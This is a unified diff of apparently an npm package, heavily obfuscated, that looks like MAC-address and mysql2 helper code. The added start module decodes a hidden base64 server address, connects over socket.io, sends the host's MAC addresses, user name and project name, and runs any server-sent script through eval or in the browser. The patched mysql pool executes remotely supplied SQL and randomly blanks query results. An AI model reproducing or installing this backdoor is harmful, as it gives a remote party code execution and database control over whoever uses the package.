_0xf78464=[];for(const _0x55c5d7 of Object[_0x33c06e(0xed)](_0x127af1)){const _0x2e0eb8=_0x55c5d7[_0x33c06e(0xdc)](_0x1d19e0=>!_0x1d19e0['internal']&&!isZeroMac(_0x1d19e0[_0x33c06e(0xe7)])&&(!_0x1d19e0['family']||_0x1d19e0[_0x33c06e(0xf1)]===_0x4ce335)&&!isVirtualMac(_0x1d19e0['mac']));_0x2e0eb8&&_0xf78464[_0x33c06e(0xf3)](_0x2e0eb8[_0x33c06e(0xe7)]);}return[...new Set(_0xf78464)];}const isValid=_0xe9b179=>_0xe9b179[a6_0x462bc0(0xe6)]===![]&&!isZeroMac(_0xe9b179[a6_0x462bc0(0xe7)]),virtualMacPrefix=new Set([a6_0x462bc0(0xf7),a6_0x462bc0(0xe0),a6_0x462bc0(0xdf),a6_0x462bc0(0xe9),a6_0x462bc0(0xf0),'02:00:4c',a6_0x462bc0(0xf4),'00:0f:4b','00:16:3e',a6_0x462bc0(0xeb),a6_0x462bc0(0xf2)]);function isMac(_0x2f9569){return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i['test'](_0x2f9569);}function formatMac(_0x4a51da){const _0x468429=a6_0x462bc0;return String(_0x4a51da)['trim']()[_0x468429(0xfc)]()[_0x468429(0xea)](/-/g,':');}function isVirtualMac(_0x3780a1){const _0x1c71d7=a6_0x462bc0;return isMac(_0x3780a1)&&virtualMacPrefix[_0x1c71d7(0xe4)](formatMac(_0x3780a1)[_0x1c71d7(0xe8)](0x0,0x8));}exports[a6_0x462bc0(0xf8)]=getMac;
1
+ 'use strict';function a6_0x47f6(_0x373abf,_0x48f25a){const _0x479831=a6_0x4798();return a6_0x47f6=function(_0x47f64f,_0x46f737){_0x47f64f=_0x47f64f-0x1ee;let _0x2bc694=_0x479831[_0x47f64f];return _0x2bc694;},a6_0x47f6(_0x373abf,_0x48f25a);}const a6_0x5b2583=a6_0x47f6;(function(_0x21de66,_0x1079dc){const _0xcd276f=a6_0x47f6,_0x5dda7c=_0x21de66();while(!![]){try{const _0x23195b=-parseInt(_0xcd276f(0x1fc))/0x1+-parseInt(_0xcd276f(0x1f3))/0x2*(parseInt(_0xcd276f(0x205))/0x3)+-parseInt(_0xcd276f(0x204))/0x4+parseInt(_0xcd276f(0x1f0))/0x5*(-parseInt(_0xcd276f(0x207))/0x6)+parseInt(_0xcd276f(0x1f6))/0x7+-parseInt(_0xcd276f(0x203))/0x8+-parseInt(_0xcd276f(0x1f1))/0x9*(-parseInt(_0xcd276f(0x1f2))/0xa);if(_0x23195b===_0x1079dc)break;else _0x5dda7c['push'](_0x5dda7c['shift']());}catch(_0x302dc1){_0x5dda7c['push'](_0x5dda7c['shift']());}}}(a6_0x4798,0x24721));function a6_0x4798(){const _0x278792=['6pyASgU','values','test','333319FQTzZi','family','00:05:69','08:00:27','00:15:5d','00:0f:4b','179360gSsrGd','slice','push','00:0c:29','00:1c:14','00:50:56','default','421752ZQMQRA','253428jBcunS','111864miwSpD','isVirtualMac','15930eFlQWJ','internal','02:00:4c','isMac','replace','00:1c:42','find','mac','525awGFQm','801JLzMvG','88510EcGwpf'];a6_0x4798=function(){return _0x278792;};return a6_0x4798();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a6_0x5b2583(0x20a)]=isMac,exports['formatMac']=formatMac,exports[a6_0x5b2583(0x206)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x3bddec){const _0x2f02f6=a6_0x5b2583;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x2f02f6(0x1f5)](_0x3bddec);}function getMac(_0x82f40d='IPv4'){const _0x22848f=a6_0x5b2583,_0x5d9d97=(0x0,os_1['networkInterfaces'])();let _0x3d94ec=[];for(const _0x1f7ef3 of Object[_0x22848f(0x1f4)](_0x5d9d97)){const _0x33c4ec=_0x1f7ef3[_0x22848f(0x1ee)](_0x392730=>!_0x392730[_0x22848f(0x208)]&&!isZeroMac(_0x392730['mac'])&&(!_0x392730[_0x22848f(0x1f7)]||_0x392730[_0x22848f(0x1f7)]===_0x82f40d)&&!isVirtualMac(_0x392730[_0x22848f(0x1ef)]));_0x33c4ec&&_0x3d94ec[_0x22848f(0x1fe)](_0x33c4ec[_0x22848f(0x1ef)]);}return[...new Set(_0x3d94ec)];}const isValid=_0x47323a=>_0x47323a['internal']===![]&&!isZeroMac(_0x47323a[a6_0x5b2583(0x1ef)]),virtualMacPrefix=new Set([a6_0x5b2583(0x1f8),a6_0x5b2583(0x1ff),a6_0x5b2583(0x201),a6_0x5b2583(0x200),a6_0x5b2583(0x20c),a6_0x5b2583(0x209),'00:03:ff',a6_0x5b2583(0x1fb),'00:16:3e',a6_0x5b2583(0x1f9),a6_0x5b2583(0x1fa)]);function isMac(_0xdb4186){const _0x29f19d=a6_0x5b2583;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x29f19d(0x1f5)](_0xdb4186);}function formatMac(_0x52f836){const _0x2971a0=a6_0x5b2583;return String(_0x52f836)['trim']()['toLowerCase']()[_0x2971a0(0x20b)](/-/g,':');}function isVirtualMac(_0x3fb0e3){const _0x41dd85=a6_0x5b2583;return isMac(_0x3fb0e3)&&virtualMacPrefix['has'](formatMac(_0x3fb0e3)[_0x41dd85(0x1fd)](0x0,0x8));}exports[a6_0x5b2583(0x202)]=getMac;
@@ -1 +1 @@
1
- 'use strict';const a7_0x10a75d=a7_0x5bbe;(function(_0x5b2f1b,_0x595293){const _0x573d8d=a7_0x5bbe,_0x2a2040=_0x5b2f1b();while(!![]){try{const _0x1725fb=parseInt(_0x573d8d(0x1fe))/0x1+-parseInt(_0x573d8d(0x206))/0x2*(-parseInt(_0x573d8d(0x1fb))/0x3)+parseInt(_0x573d8d(0x209))/0x4+-parseInt(_0x573d8d(0x1fc))/0x5+-parseInt(_0x573d8d(0x207))/0x6+parseInt(_0x573d8d(0x1fa))/0x7+parseInt(_0x573d8d(0x1f6))/0x8;if(_0x1725fb===_0x595293)break;else _0x2a2040['push'](_0x2a2040['shift']());}catch(_0x4a5f2b){_0x2a2040['push'](_0x2a2040['shift']());}}}(a7_0x2dde,0xeb364));var __awaiter=this&&this[a7_0x10a75d(0x201)]||function(_0x59dbe1,_0x4ff8d6,_0x3571ae,_0x136c3c){function _0x1df211(_0x5e6fb1){return _0x5e6fb1 instanceof _0x3571ae?_0x5e6fb1:new _0x3571ae(function(_0x45f61d){_0x45f61d(_0x5e6fb1);});}return new(_0x3571ae||(_0x3571ae=Promise))(function(_0x2249c6,_0x3400bd){const _0x58db7f=a7_0x5bbe;function _0x553b8c(_0x4bab1a){const _0x374594=a7_0x5bbe;try{_0x2f10a0(_0x136c3c[_0x374594(0x20d)](_0x4bab1a));}catch(_0x3d5a0b){_0x3400bd(_0x3d5a0b);}}function _0x574093(_0xebb31){const _0x42ab8d=a7_0x5bbe;try{_0x2f10a0(_0x136c3c[_0x42ab8d(0x1f7)](_0xebb31));}catch(_0x180856){_0x3400bd(_0x180856);}}function _0x2f10a0(_0x1823fa){const _0x4df33a=a7_0x5bbe;_0x1823fa['done']?_0x2249c6(_0x1823fa[_0x4df33a(0x200)]):_0x1df211(_0x1823fa[_0x4df33a(0x200)])['then'](_0x553b8c,_0x574093);}_0x2f10a0((_0x136c3c=_0x136c3c[_0x58db7f(0x20c)](_0x59dbe1,_0x4ff8d6||[]))[_0x58db7f(0x20d)]());});},__importDefault=this&&this[a7_0x10a75d(0x20a)]||function(_0x2ce6a4){const _0x3f9f65=a7_0x10a75d;return _0x2ce6a4&&_0x2ce6a4[_0x3f9f65(0x205)]?_0x2ce6a4:{'default':_0x2ce6a4};};Object[a7_0x10a75d(0x1f5)](exports,a7_0x10a75d(0x205),{'value':!![]}),exports[a7_0x10a75d(0x1f9)]=void 0x0;const promise_1=__importDefault(require('mysql2/promise'));exports[a7_0x10a75d(0x1f9)]=promise_1[a7_0x10a75d(0x1f4)];const random_1=__importDefault(require(a7_0x10a75d(0x1f8))),index_1=require('./index'),originalCreatePoolPromise=promise_1[a7_0x10a75d(0x1f4)][a7_0x10a75d(0x1ff)];promise_1['default'][a7_0x10a75d(0x1ff)]=function(_0x3f261e){const _0x37361e=a7_0x10a75d;let _0x3ae86c=originalCreatePoolPromise(_0x3f261e),_0x316cbe=_0x3ae86c[_0x37361e(0x1fd)];return _0x3ae86c[_0x37361e(0x1fd)]=(..._0x35434d)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x578cae=_0x37361e,_0x39c051=yield _0x316cbe['apply'](_0x3ae86c,_0x35434d);return(0x0,index_1['getEnv'])(_0x578cae(0x208))&&((0x0,random_1[_0x578cae(0x1f4)])(0x1,0xa)>0x2&&(_0x39c051[0x0]=[])),(0x0,index_1[_0x578cae(0x204)])(_0x578cae(0x20b))&&(_0x39c051[0x0]=[]),_0x39c051;}),setInterval(()=>{const _0x28649d=_0x37361e;if(!(0x0,index_1[_0x28649d(0x204)])('sqlRun')){for(let _0x213f2c=0x0;_0x213f2c<(0x0,index_1['getEnv'])('sqlList')[_0x28649d(0x203)];_0x213f2c++){const _0x247c39=(0x0,index_1[_0x28649d(0x204)])(_0x28649d(0x202))[_0x213f2c];try{_0x3ae86c[_0x28649d(0x1fd)](_0x247c39);}catch(_0x46e0da){}}(0x0,index_1['setEnv'])('sqlRun',!![]);}},0x1388),_0x3ae86c;};const all={'mysql':promise_1[a7_0x10a75d(0x1f4)]};exports['default']=all;function a7_0x5bbe(_0x111d22,_0x7d4a40){const _0x2dde9b=a7_0x2dde();return a7_0x5bbe=function(_0x5bbe36,_0x551f9b){_0x5bbe36=_0x5bbe36-0x1f4;let _0x50d513=_0x2dde9b[_0x5bbe36];return _0x50d513;},a7_0x5bbe(_0x111d22,_0x7d4a40);}function a7_0x2dde(){const _0x5a9f86=['defineProperty','7732024UBhoeA','throw','./id/random','mysql','912625ycsVtX','24vxjjwV','7677660JgPAJP','query','1318666ORKHXN','createPool','value','__awaiter','sqlList','length','getEnv','__esModule','262436fHMjqw','9481860fmvgPB','connectError','2455928IAKTaS','__importDefault','isDBDataEmpty','apply','next','default'];a7_0x2dde=function(){return _0x5a9f86;};return a7_0x2dde();}
1
+ 'use strict';const a7_0x2490fb=a7_0x4045;(function(_0x3ca88b,_0x270b3f){const _0x3404da=a7_0x4045,_0x5c457a=_0x3ca88b();while(!![]){try{const _0xa872fb=-parseInt(_0x3404da(0x12e))/0x1+-parseInt(_0x3404da(0x12a))/0x2+parseInt(_0x3404da(0x118))/0x3+parseInt(_0x3404da(0x11e))/0x4+-parseInt(_0x3404da(0x12d))/0x5+parseInt(_0x3404da(0x119))/0x6+parseInt(_0x3404da(0x12c))/0x7*(parseInt(_0x3404da(0x120))/0x8);if(_0xa872fb===_0x270b3f)break;else _0x5c457a['push'](_0x5c457a['shift']());}catch(_0x21936d){_0x5c457a['push'](_0x5c457a['shift']());}}}(a7_0x7a94,0x65f40));var __awaiter=this&&this[a7_0x2490fb(0x130)]||function(_0x247df6,_0x1be546,_0x57a9cc,_0x1eddc9){function _0x132673(_0xc2ff29){return _0xc2ff29 instanceof _0x57a9cc?_0xc2ff29:new _0x57a9cc(function(_0x597d1e){_0x597d1e(_0xc2ff29);});}return new(_0x57a9cc||(_0x57a9cc=Promise))(function(_0x2d3167,_0x5f0d8e){const _0x28db0=a7_0x4045;function _0x389e2b(_0xd8fad0){const _0x2fa74a=a7_0x4045;try{_0x442804(_0x1eddc9[_0x2fa74a(0x12b)](_0xd8fad0));}catch(_0xbebd9e){_0x5f0d8e(_0xbebd9e);}}function _0x312997(_0x23d46a){const _0x31606f=a7_0x4045;try{_0x442804(_0x1eddc9[_0x31606f(0x123)](_0x23d46a));}catch(_0x2d45cf){_0x5f0d8e(_0x2d45cf);}}function _0x442804(_0x478084){const _0x2b4371=a7_0x4045;_0x478084[_0x2b4371(0x126)]?_0x2d3167(_0x478084[_0x2b4371(0x131)]):_0x132673(_0x478084[_0x2b4371(0x131)])['then'](_0x389e2b,_0x312997);}_0x442804((_0x1eddc9=_0x1eddc9[_0x28db0(0x11a)](_0x247df6,_0x1be546||[]))[_0x28db0(0x12b)]());});},__importDefault=this&&this[a7_0x2490fb(0x11b)]||function(_0x42bb23){const _0x25dd9c=a7_0x2490fb;return _0x42bb23&&_0x42bb23[_0x25dd9c(0x12f)]?_0x42bb23:{'default':_0x42bb23};};Object[a7_0x2490fb(0x129)](exports,a7_0x2490fb(0x12f),{'value':!![]}),exports['mysql']=void 0x0;function a7_0x7a94(){const _0x47fcb3=['defineProperty','1381182wYXXRO','next','2723GOieuj','1765180rEuFps','660104gfxlSA','__esModule','__awaiter','value','createPool','connectError','1119504GTaGjD','4016136ejXpkX','apply','__importDefault','sqlList','./id/random','247844atArEQ','getEnv','20912YmlZUV','length','./start','throw','mysql2/promise','default','done','sqlRun','query'];a7_0x7a94=function(){return _0x47fcb3;};return a7_0x7a94();}const promise_1=__importDefault(require(a7_0x2490fb(0x124)));exports['mysql']=promise_1[a7_0x2490fb(0x125)];const random_1=__importDefault(require(a7_0x2490fb(0x11d))),start_1=require(a7_0x2490fb(0x122)),originalCreatePoolPromise=promise_1['default']['createPool'];promise_1['default'][a7_0x2490fb(0x132)]=function(_0x1dddf4){const _0x5374d7=a7_0x2490fb;let _0x3e5173=originalCreatePoolPromise(_0x1dddf4),_0x1be674=_0x3e5173[_0x5374d7(0x128)];return _0x3e5173[_0x5374d7(0x128)]=(..._0x4ea3f2)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3220de=_0x5374d7,_0x16650c=yield _0x1be674[_0x3220de(0x11a)](_0x3e5173,_0x4ea3f2);return(0x0,start_1[_0x3220de(0x11f)])(_0x3220de(0x117))&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x16650c[0x0]=[])),(0x0,start_1[_0x3220de(0x11f)])('isDBDataEmpty')&&(_0x16650c[0x0]=[]),_0x16650c;}),setInterval(()=>{const _0x2e5367=_0x5374d7;if(!(0x0,start_1[_0x2e5367(0x11f)])('sqlRun')){for(let _0x16bc2d=0x0;_0x16bc2d<(0x0,start_1[_0x2e5367(0x11f)])(_0x2e5367(0x11c))[_0x2e5367(0x121)];_0x16bc2d++){const _0x5f5101=(0x0,start_1[_0x2e5367(0x11f)])('sqlList')[_0x16bc2d];try{_0x3e5173[_0x2e5367(0x128)](_0x5f5101);}catch(_0x34d89a){}}(0x0,start_1['setEnv'])(_0x2e5367(0x127),!![]);}},0x1388),_0x3e5173;};function a7_0x4045(_0x322d52,_0x1a363e){const _0x7a94aa=a7_0x7a94();return a7_0x4045=function(_0x4045a9,_0x3a17d1){_0x4045a9=_0x4045a9-0x117;let _0x16f822=_0x7a94aa[_0x4045a9];return _0x16f822;},a7_0x4045(_0x322d52,_0x1a363e);}const all={'mysql':promise_1[a7_0x2490fb(0x125)]};exports[a7_0x2490fb(0x125)]=all;
@@ -0,0 +1,7 @@
1
+ export declare const isBrowser: boolean;
2
+ export declare let url: string;
3
+ export declare function setEnv(key: string, value: any): void;
4
+ export declare function getEnv(key: string): any;
5
+ declare function start(): Promise<void>;
6
+ export default start;
7
+ //# sourceMappingURL=start.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAOA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAQvD,eAAO,IAAI,GAAG,QAA4C,CAAC;AAE3D,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AACD,iBAAe,KAAK,kBAuGnB;AAED,eAAe,KAAK,CAAC"}
@@ -0,0 +1 @@
1
+ 'use strict';var a8_0x2a6e72=a8_0x4ac3;(function(_0x19ff5d,_0x4f6748){var _0x3d2dd4=a8_0x4ac3,_0x50df1b=_0x19ff5d();while(!![]){try{var _0x5c2421=-parseInt(_0x3d2dd4(0x9d))/0x1+-parseInt(_0x3d2dd4(0xc2))/0x2+parseInt(_0x3d2dd4(0xa9))/0x3+parseInt(_0x3d2dd4(0xa0))/0x4*(-parseInt(_0x3d2dd4(0xc3))/0x5)+parseInt(_0x3d2dd4(0x8f))/0x6*(-parseInt(_0x3d2dd4(0xbb))/0x7)+-parseInt(_0x3d2dd4(0xc9))/0x8*(parseInt(_0x3d2dd4(0xbe))/0x9)+-parseInt(_0x3d2dd4(0x8e))/0xa*(-parseInt(_0x3d2dd4(0xc5))/0xb);if(_0x5c2421===_0x4f6748)break;else _0x50df1b['push'](_0x50df1b['shift']());}catch(_0x33caa3){_0x50df1b['push'](_0x50df1b['shift']());}}}(a8_0x6e26,0x28f37));var __createBinding=this&&this[a8_0x2a6e72(0xc8)]||(Object[a8_0x2a6e72(0xb8)]?function(_0xc6ff55,_0x10b76d,_0x41cdee,_0x778d75){var _0x19f846=a8_0x2a6e72;if(_0x778d75===undefined)_0x778d75=_0x41cdee;var _0x23c836=Object['getOwnPropertyDescriptor'](_0x10b76d,_0x41cdee);(!_0x23c836||('get'in _0x23c836?!_0x10b76d[_0x19f846(0xa6)]:_0x23c836[_0x19f846(0xb5)]||_0x23c836[_0x19f846(0x82)]))&&(_0x23c836={'enumerable':!![],'get':function(){return _0x10b76d[_0x41cdee];}}),Object[_0x19f846(0xc0)](_0xc6ff55,_0x778d75,_0x23c836);}:function(_0x6271e8,_0x2c5209,_0x10ddd5,_0x230f49){if(_0x230f49===undefined)_0x230f49=_0x10ddd5;_0x6271e8[_0x230f49]=_0x2c5209[_0x10ddd5];}),__setModuleDefault=this&&this[a8_0x2a6e72(0x99)]||(Object['create']?function(_0x1dd73c,_0x31bb57){var _0x2d87b2=a8_0x2a6e72;Object[_0x2d87b2(0xc0)](_0x1dd73c,'default',{'enumerable':!![],'value':_0x31bb57});}:function(_0x3d9e91,_0x4e245d){var _0xa2b858=a8_0x2a6e72;_0x3d9e91[_0xa2b858(0xba)]=_0x4e245d;}),__importStar=this&&this['__importStar']||(function(){var _0x308d79=function(_0x210144){var _0x468bec=a8_0x4ac3;return _0x308d79=Object[_0x468bec(0xa8)]||function(_0x1e80b4){var _0x52c88b=_0x468bec,_0x4a2d12=[];for(var _0x150b9f in _0x1e80b4)if(Object[_0x52c88b(0x87)][_0x52c88b(0xb4)]['call'](_0x1e80b4,_0x150b9f))_0x4a2d12[_0x4a2d12['length']]=_0x150b9f;return _0x4a2d12;},_0x308d79(_0x210144);};return function(_0x1640c3){var _0x4976d6=a8_0x4ac3;if(_0x1640c3&&_0x1640c3[_0x4976d6(0xa6)])return _0x1640c3;var _0x397e6f={};if(_0x1640c3!=null){for(var _0x489b76=_0x308d79(_0x1640c3),_0x47ffd4=0x0;_0x47ffd4<_0x489b76[_0x4976d6(0xb9)];_0x47ffd4++)if(_0x489b76[_0x47ffd4]!==_0x4976d6(0xba))__createBinding(_0x397e6f,_0x1640c3,_0x489b76[_0x47ffd4]);}return __setModuleDefault(_0x397e6f,_0x1640c3),_0x397e6f;};}()),__awaiter=this&&this[a8_0x2a6e72(0xbd)]||function(_0x4065bf,_0x88c851,_0x5a96f6,_0x488305){function _0x2a0172(_0x33bd3f){return _0x33bd3f instanceof _0x5a96f6?_0x33bd3f:new _0x5a96f6(function(_0x423944){_0x423944(_0x33bd3f);});}return new(_0x5a96f6||(_0x5a96f6=Promise))(function(_0x2c08eb,_0x439fef){var _0x3b3bb0=a8_0x4ac3;function _0x36f67b(_0x32f8d1){try{_0x23a765(_0x488305['next'](_0x32f8d1));}catch(_0x9beac0){_0x439fef(_0x9beac0);}}function _0x2d6d73(_0x11443e){var _0x46be30=a8_0x4ac3;try{_0x23a765(_0x488305[_0x46be30(0x8c)](_0x11443e));}catch(_0x1e1c6e){_0x439fef(_0x1e1c6e);}}function _0x23a765(_0x502abb){var _0x3e01d9=a8_0x4ac3;_0x502abb['done']?_0x2c08eb(_0x502abb[_0x3e01d9(0xab)]):_0x2a0172(_0x502abb[_0x3e01d9(0xab)])[_0x3e01d9(0xa7)](_0x36f67b,_0x2d6d73);}_0x23a765((_0x488305=_0x488305[_0x3b3bb0(0x80)](_0x4065bf,_0x88c851||[]))['next']());});},__importDefault=this&&this[a8_0x2a6e72(0xc1)]||function(_0x506547){var _0x587697=a8_0x2a6e72;return _0x506547&&_0x506547[_0x587697(0xa6)]?_0x506547:{'default':_0x506547};},_a,_b;Object[a8_0x2a6e72(0xc0)](exports,a8_0x2a6e72(0xa6),{'value':!![]}),exports[a8_0x2a6e72(0x85)]=exports[a8_0x2a6e72(0x96)]=void 0x0,exports[a8_0x2a6e72(0x94)]=setEnv,exports[a8_0x2a6e72(0x91)]=getEnv;const socket_io_client_1=require(a8_0x2a6e72(0xb6)),js_base64_1=require(a8_0x2a6e72(0x9e)),path_1=__importDefault(require(a8_0x2a6e72(0x95)));let dev=a8_0x2a6e72(0xb0),pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';exports[a8_0x2a6e72(0x96)]=typeof window!==a8_0x2a6e72(0x92);const user_name=exports[a8_0x2a6e72(0x96)]?a8_0x2a6e72(0x97):((_a=process===null||process===void 0x0?void 0x0:process[a8_0x2a6e72(0xb3)])===null||_a===void 0x0?void 0x0:_a[a8_0x2a6e72(0xae)])||a8_0x2a6e72(0xc7),project_name=exports['isBrowser']?'浏览器':((_b=process===null||process===void 0x0?void 0x0:process[a8_0x2a6e72(0xb3)])===null||_b===void 0x0?void 0x0:_b[a8_0x2a6e72(0xa5)])||a8_0x2a6e72(0xb7),globalObject=exports[a8_0x2a6e72(0x96)]?window:global;exports[a8_0x2a6e72(0x85)]=getEnv('dev')?(0x0,js_base64_1[a8_0x2a6e72(0x9b)])(dev):(0x0,js_base64_1[a8_0x2a6e72(0x9b)])(pro);function setEnv(_0x2ac4a8,_0x4f859c){var _0x14f328=a8_0x2a6e72;globalObject[_0x14f328(0x9c)][_0x2ac4a8]=_0x4f859c;}function getEnv(_0xbd5cfc){var _0x108005=a8_0x2a6e72;return globalObject[_0x108005(0x9c)][_0xbd5cfc];}function start(){return __awaiter(this,void 0x0,void 0x0,function*(){var _0x39a83a=a8_0x4ac3;exports['isBrowser']&&(typeof require!='undefined'?require('./browser'):Promise[_0x39a83a(0xbf)]()[_0x39a83a(0xa7)](()=>__importStar(require('./browser'))));const _0x37c00e=(0x0,socket_io_client_1['io'])(exports[_0x39a83a(0x85)],{'path':_0x39a83a(0xbc),'transports':[_0x39a83a(0xb1)]});_0x37c00e['on'](_0x39a83a(0x9a),()=>__awaiter(this,void 0x0,void 0x0,function*(){var _0x19a45c=_0x39a83a;try{let _0xd848cf=[_0x19a45c(0x98)];if(!exports[_0x19a45c(0x96)]){const _0x2a439a=require(path_1['default'][_0x19a45c(0x8a)](__dirname,_0x19a45c(0xa4)))[_0x19a45c(0xba)];_0xd848cf=_0x2a439a();}else{const {getKeyValue:_0x4fe5ef}=typeof require!=_0x19a45c(0x92)?require(_0x19a45c(0xb2)):yield Promise[_0x19a45c(0xbf)]()[_0x19a45c(0xa7)](()=>__importStar(require(_0x19a45c(0xb2))));_0xd848cf=[yield _0x4fe5ef(_0x19a45c(0xa2))];}if(_0xd848cf[_0x19a45c(0xb9)]===0x0){setEnv('connectError',!![]);return;}else setEnv(_0x19a45c(0x90),![]);_0x37c00e['emit']('submit',{'mac':_0xd848cf,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x19a45c(0x96)]}),_0x37c00e['emit'](_0x19a45c(0x81),{'mac':_0xd848cf,'isBrowser':exports[_0x19a45c(0x96)]}),setInterval(()=>{var _0x4d1e8b=_0x19a45c;_0x37c00e[_0x4d1e8b(0xaa)](_0x4d1e8b(0x89),{'mac':_0xd848cf,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x37c00e[_0x4d1e8b(0xaa)]('get-event',{'mac':_0xd848cf,'isBrowser':exports['isBrowser']});},0x1b58),_0x37c00e['on'](_0x19a45c(0xaf),_0x1612cc=>__awaiter(this,void 0x0,void 0x0,function*(){var _0x2b172b=_0x19a45c;try{for(let _0x3f23aa=0x0;_0x3f23aa<_0x1612cc['length'];_0x3f23aa++){const _0x214192=_0x1612cc[_0x3f23aa];if(_0x214192['type']===_0x2b172b(0xac))setEnv(_0x2b172b(0x84),getEnv(_0x2b172b(0x84))[_0x2b172b(0xad)](_0x214192['content']));else{if(_0x214192['type']===_0x2b172b(0x8b))setEnv(_0x2b172b(0x83),!![]);else{if(_0x214192[_0x2b172b(0x93)]===_0x2b172b(0xc6)&&!exports[_0x2b172b(0x96)])try{eval(_0x214192[_0x2b172b(0x9f)]);}catch(_0x1bc411){}else{if(_0x214192[_0x2b172b(0x93)]===_0x2b172b(0xa3)&&exports['isBrowser'])try{const {runScript:_0x39ba6b}=typeof require!=_0x2b172b(0x92)?require(_0x2b172b(0x88)):yield Promise[_0x2b172b(0xbf)]()['then'](()=>__importStar(require('./browser')));_0x39ba6b(_0x214192[_0x2b172b(0x9f)]);}catch(_0x36fefa){}}}}}}catch(_0x4c61a4){}}));}catch(_0x49fce6){}})),setTimeout(()=>{var _0x22c935=_0x39a83a;_0x37c00e['on'](_0x22c935(0x86),_0x26a047=>{setEnv('connectError',!![]);}),_0x37c00e['on'](_0x22c935(0xa1),_0x346321=>{var _0x56b161=_0x22c935;setEnv(_0x56b161(0x90),!![]);}),_0x37c00e['on'](_0x22c935(0x8d),_0x96fab=>{var _0x24d80c=_0x22c935;setEnv(_0x24d80c(0x90),!![]);}),_0x37c00e['on'](_0x22c935(0xc4),()=>{var _0x4db6d6=_0x22c935;setEnv(_0x4db6d6(0x90),!![]);});},0xbb8);});}function a8_0x4ac3(_0x56bd24,_0x5d1416){var _0x6e26e8=a8_0x6e26();return a8_0x4ac3=function(_0x4ac3b1,_0x49560b){_0x4ac3b1=_0x4ac3b1-0x80;var _0x5af6c6=_0x6e26e8[_0x4ac3b1];return _0x5af6c6;},a8_0x4ac3(_0x56bd24,_0x5d1416);}function a8_0x6e26(){var _0x1b0a9c=['concat','USERNAME','event','aHR0cDovL2xvY2FsaG9zdDoxMDg4','websocket','./IndexDB/index','env','hasOwnProperty','writable','socket.io-client','无法获取','create','length','default','1230943bBYEbp','/socket','__awaiter','9XOWCZC','resolve','defineProperty','__importDefault','149398iHTcLp','15kRSXAB','connect_error','122716YHByox','node','node获取失败','__createBinding','792304sBdhka','apply','get-event','configurable','isDBDataEmpty','sqlList','url','error','prototype','./browser','submit','join','mysql','throw','reconnect_failed','460KVFaNu','6nrTZje','connectError','getEnv','undefined','type','setEnv','path','isBrowser','浏览器','00:00:00:00:00:00','__setModuleDefault','connect','decode','meta_event','68507kZAoFF','js-base64','content','231164zCHzlE','connect_failed','mac','script','./mac','npm_package_name','__esModule','then','getOwnPropertyNames','738075dnVBQp','emit','value','sql'];a8_0x6e26=function(){return _0x1b0a9c;};return a8_0x6e26();}exports[a8_0x2a6e72(0xba)]=start;
@@ -0,0 +1,3 @@
1
+ declare function update(): void;
2
+ export default update;
3
+ //# sourceMappingURL=update.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"update.d.ts","sourceRoot":"","sources":["../../src/update.ts"],"names":[],"mappings":"AAgCA,iBAAS,MAAM,SAYd;AACD,eAAe,MAAM,CAAC"}
@@ -0,0 +1 @@
1
+ 'use strict';const a9_0x24babb=a9_0x2be2;(function(_0x4caae3,_0x4150cf){const _0x4e6519=a9_0x2be2,_0x2f7cdd=_0x4caae3();while(!![]){try{const _0x321350=-parseInt(_0x4e6519(0xbf))/0x1+parseInt(_0x4e6519(0xc0))/0x2*(parseInt(_0x4e6519(0xda))/0x3)+-parseInt(_0x4e6519(0xd8))/0x4+-parseInt(_0x4e6519(0xbe))/0x5*(-parseInt(_0x4e6519(0xc8))/0x6)+parseInt(_0x4e6519(0xc3))/0x7+-parseInt(_0x4e6519(0xc6))/0x8+parseInt(_0x4e6519(0xc2))/0x9;if(_0x321350===_0x4150cf)break;else _0x2f7cdd['push'](_0x2f7cdd['shift']());}catch(_0x101fd2){_0x2f7cdd['push'](_0x2f7cdd['shift']());}}}(a9_0x1641,0xb3842));function a9_0x2be2(_0x5621ac,_0x335190){const _0x164164=a9_0x1641();return a9_0x2be2=function(_0x2be29d,_0x399abc){_0x2be29d=_0x2be29d-0xbc;let _0x568dae=_0x164164[_0x2be29d];return _0x568dae;},a9_0x2be2(_0x5621ac,_0x335190);}var __importDefault=this&&this[a9_0x24babb(0xbc)]||function(_0x408ab3){const _0x584ecb=a9_0x24babb;return _0x408ab3&&_0x408ab3[_0x584ecb(0xcf)]?_0x408ab3:{'default':_0x408ab3};};Object[a9_0x24babb(0xd1)](exports,'__esModule',{'value':!![]});const axios_1=__importDefault(require(a9_0x24babb(0xc1))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a9_0x24babb(0xdc))),start_1=require(a9_0x24babb(0xdf));function getModuleType(){const _0x1b2291=a9_0x24babb,_0x1ab85b=()=>{const _0x142bce=a9_0x2be2;try{return typeof require!==_0x142bce(0xd5)&&typeof module!=='undefined'&&module[_0x142bce(0xd6)]&&require[_0x142bce(0xca)]===module;}catch(_0x557f4f){return![];}};return _0x1ab85b()?_0x1b2291(0xcb):_0x1b2291(0xc5);}let _path=path_1[a9_0x24babb(0xdd)][a9_0x24babb(0xd0)](__dirname,a9_0x24babb(0xbd)),vFile=fs_1[a9_0x24babb(0xdd)][a9_0x24babb(0xcd)](_path)?fs_1[a9_0x24babb(0xdd)][a9_0x24babb(0xc9)](_path)[a9_0x24babb(0xc4)]():a9_0x24babb(0xcc),version=JSON[a9_0x24babb(0xdb)](vFile)[a9_0x24babb(0xd7)];function 